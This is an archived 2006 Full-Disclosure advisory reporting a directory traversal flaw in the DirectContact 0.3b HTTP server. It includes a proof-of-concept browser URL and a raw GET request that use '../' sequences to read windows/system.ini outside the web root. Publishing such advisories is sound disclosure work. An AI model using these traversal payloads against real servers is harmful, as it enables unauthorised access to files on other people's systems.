[Full-disclosure] directory traversal in DirectContact 0.3b
- From: Donato Ferrante <fdonato@xxxxxxxxxxxxx>
- Date: Mon, 27 Feb 2006 20:28:22 +0100
Donato Ferrante
Application: DirectContact
http://reyero.info/dc/
Version: 0.3b
Bug: directory traversal
Date: 27-Feb-2006
Author: Donato Ferrante
e-mail: fdonato@xxxxxxxxxxxxx
web: www.autistici.org/fdonato
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
1. Description
2. The bug
3. The code
4. The fix
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
----------------
1. Description:
----------------
Vendor's Description:
"DirectContact turns your computer in real "friendly" HTTP server."
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
------------
2. The bug:
------------
The program is unable to manage malicious patterns like ..\ or ../.
So an attacker can go out the document root assigned to the webserver
and see/download all the files available on the remote system.
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-------------
3. The code:
-------------
To test the vulnerability:
via browser:
http://[host]:[port]/..\..\..\..\windows/system.ini
via raw request:
GET /../../../../../../windows/system.ini HTTP/1.1
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
------------
4. The fix:
------------
Vendor has been contacted.
Bug will be fixed in the next release.
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
- Prev by Date: [Full-disclosure] SAN security checklist
- Next by Date: [Full-disclosure] CarolinaCon-2006 - Call for Speakers/Papers
- Previous by thread: [Full-disclosure] SAN security checklist
- Next by thread: [Full-disclosure] CarolinaCon-2006 - Call for Speakers/Papers
- Index(es):
Relevant Pages
|
|
